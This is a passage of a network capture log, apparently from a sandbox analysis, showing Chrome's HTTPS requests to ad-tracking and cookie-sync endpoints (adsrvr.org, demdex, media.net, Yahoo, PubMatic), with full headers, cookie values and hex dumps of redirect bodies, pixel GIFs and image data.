2024-01-10 23:27:19 UTC	775	OUT	GET /track/cmf/casale HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgAigCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC
2024-01-10 23:27:19 UTC	677	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Length: 323 Connection: close server: Kestrel location: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&expiration=1707521239&gdpr=0&gdpr_consent= set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:19 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhUKBmNhc2FsZRILCOKvlJC3j8k8EAUYASADKAIyCwiotu2fzY_JPBAFOAFaCHB1Ym1hdGljYAI.; expires=Fri, 10 Jan 2025 23:27:19 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:19 UTC	323	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 33 39 26 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 65 78 70 69 72 61 74 69 6f 6e 3d 31 37 30 37 35 32 31 32 33 39 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 33 39 26 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 Data Ascii: Redirecting to: <a href="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&expiration=1707521239&gdpr=0&gdpr_consent=">https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=bd6a219c-2538-4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.4	50137	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	819	OUT	GET /track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgAigCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC
2024-01-10 23:27:19 UTC	583	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Length: 199 Connection: close server: Kestrel location: https://cs.media.net/cksync?cs=1&type=ttd&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:19 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgASgCMgsI6r6avc2PyTwQBTgBWgc4bTMzems0YAI.; expires=Fri, 10 Jan 2025 23:27:19 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:19 UTC	199	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 22 3e 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://cs.media.net/cksync?cs=1&type=ttd&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b">https://cs.media.net/cksync?cs=1&type=ttd&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.4	50160	54.237.186.235	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	473	OUT	GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=05885541380958628422864466641451014575; dpm=05885541380958628422864466641451014575
2024-01-10 23:27:19 UTC	903	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: aWi65WvaTxs= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 300 X-Content-Type-Options: nosniff DCS: dcs-prod-va6-1-v053-096c6e800.edge-va6.demdex.com 1 ms set-cookie: dpm=05885541380958628422864466641451014575; Max-Age=15552000; Expires=Mon, 08 Jul 2024 23:27:19 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=05885541380958628422864466641451014575; Max-Age=15552000; Expires=Mon, 08 Jul 2024 23:27:19 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-01-10 23:27:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.4	50117	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	917	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=ayl&refUrl=&vid=49292349683479308310180275000V10&ovsid=80df0390ac1a08301112e6851cc561f4&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
2024-01-10 23:27:19 UTC	675	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ayl=80df0390ac1a08301112e6851cc561f4~~1;Expires=Mon, 08 Jul 2024 23:27:19 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:19 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:19 GMT Connection: close
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:19 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.4	50151	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	496	OUT	GET /iu/api/res/1.2/u6_Mg2dDzQ2NMpEQ1NvaMQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181228/500x500/army_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:19 UTC	1297	IN	HTTP/1.1 200 OK Content-Length: 2571 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 415142153496451709070412747870655176929,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 415142153496451709070412747870655176929,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "fca8d1a8fa0bbedeb822fcc0c3b60ae7" Expiration: expiry-date="Thu, 21 Dec 2023 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 23 Jun 2023 22:41:09 GMT Server: ATS Surrogate-Reporting: width=50,height=50,owidth=500,oheight=500,obytes=24013 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 17 Dec 2023 08:57:42 GMT X-Served-By: cache-iad-kiad7000151-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1702803462.271699,VS0,VE1 Age: 2125777 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kiad7000151-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:27:19 UTC	91	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 06 17 16 29 08 d7 2d d3 07 00 00 09 85 49 44 41 54 68 de d5 5a 69 50 54 d7 12 96 99 61 1d 59 64 11 64 14 44 56 05 64 91 45 45 04 45 16 41 16 51 30 a8 b8 a2 a2 a0 b2 44 11 11 70 c3 20 a2 12 97 e0 12 8c 31 6e d9 34 2e 49 d0 44 93 3c 5f 8c 59 cd 56 f9 93 aa a4 52 ef bd 7a 3f f2 27 f5 5e f6 1f e9 f4 77 e2 99 cc e0 70 19 64 c6 90 5b d5 35 77 ee 3d f7 dc f3 9d d3 dd 5f 77 9f 3b 64 88 f1 a1 b6 b1 b1 e9 1c ee e9 fa 85 97 87 eb d7 ee 6e 43 bf e4 6b 53 86 fc 0d 8f ec d5 8b b3 e8 b3 9b 1d f4 f1 6b fb e8 78 fb 1a e2 6b ff 67 39 3b 08 25 5f 09 c8 dc 75 cb 73 e8 f3 37 1e 17 72 f1 Data Ascii: PNGIHDR22?pHYs&?tIME)-IDAThZiPTaYddDVdEEEAQ0Dp 1n4.ID<_YVRz?'^wpd[5w=_w;dnCkSkxkg9;%_us7r
2024-01-10 23:27:19 UTC	1271	IN	Data Raw: 88 bd 20 f6 9c fe c2 4d 6e e5 98 ea 41 54 0b 71 19 de 71 f6 89 1a da be a1 84 0e f2 60 c1 33 f2 3e b8 4a d8 cd ea 02 a1 76 7c 5e da 67 4d 88 83 c3 ff 7d 74 7d af de c0 4c 81 58 f6 48 9a c5 ec 03 82 ac 13 61 d0 d1 b6 3f c3 12 e4 34 32 bc b1 65 97 8c 6b 88 a2 ab 57 e6 e2 3c bd 4f 20 1c b2 7f 82 0e 7c d8 25 ca 4e 11 2c 62 e6 f1 6b 69 10 10 90 20 6c 03 d1 31 d4 1a 33 0f c3 17 6a f7 54 bd 7e 1c e7 78 c5 e0 a6 f9 3c d8 9c 42 dd b3 b7 78 f6 91 1c f5 54 2f 6b 80 38 b1 bf 52 f4 bd 7f db 32 b1 f2 48 ba b2 38 bb 94 f7 9b 6a 8a c5 7d 68 c8 bb 2f b7 a1 2c f4 33 ff d7 98 03 64 13 96 18 e9 a9 b5 41 80 23 c6 f8 ff 91 e2 1a 26 67 b9 e9 71 fa 36 c9 89 7f 4c 28 da 21 e5 76 75 71 7a df dc d2 69 4a f9 a2 4c a3 30 da 1a 20 ee 32 a3 c3 b1 20 2c d9 59 37 df 28 39 43 8a 8c 36 37 Data Ascii: MnATqq`3>Jv\|^gM}t}LXHa?42ekW<O \|%N,bki l13jT~x<BxT/k8R2H8j}h/,3dA#&gq6L(!vuqziJL0 2 ,Y7(9C67

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.4	50145	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1066	OUT	GET /px.gif?ch=1&rn=9.953686578481904 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:19 UTC	586	IN	HTTP/1.1 200 OK x-amz-id-2: OJYTUHOsGqW7sqEFjbAndxzvnO6sP1KpO7yWQHw2Q4MG+ucFniKp4r8QeIRhLQSs3QhKzUazjrY= x-amz-request-id: APYRZFF9XY5ZQPFD Date: Wed, 10 Jan 2024 23:27:16 GMT Last-Modified: Wed, 30 Nov 2022 19:09:07 GMT ETag: "b4682377ddfbe4e7dabfddb2e543e842" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 42 Referrer-Policy: no-referrer-when-downgrade Age: 4 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Strict-Transport-Security: max-age=31536000 Vary: Origin
2024-01-10 23:27:19 UTC	991	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-01-10 23:27:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 01 01 32 00 3b Data Ascii: GIF89a!,2;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.4	50144	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1066	OUT	GET /px.gif?ch=2&rn=9.953686578481904 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:19 UTC	586	IN	HTTP/1.1 200 OK x-amz-id-2: oxJZ1uRa4JLEtrsS5JS2Kpn2Bi0ZL0j8vXOGEPaVjjj+YiM+9V3MXCWIXm5lpngByDpz67kcESo= x-amz-request-id: APYXW836KSX0K63F Date: Wed, 10 Jan 2024 23:27:16 GMT Last-Modified: Wed, 30 Nov 2022 19:09:07 GMT ETag: "b4682377ddfbe4e7dabfddb2e543e842" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 42 Referrer-Policy: no-referrer-when-downgrade Age: 4 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Strict-Transport-Security: max-age=31536000 Vary: Origin
2024-01-10 23:27:19 UTC	991	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-01-10 23:27:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 01 01 32 00 3b Data Ascii: GIF89a!,2;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.4	50154	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1495	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEPI9hVJH5w22DLuOR_CuGrs&google_cver=1 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:19 UTC	669	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:19 GMT; path=/ Set-Cookie: PugT=1704929239; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:19 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.4	50165	52.22.225.85	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
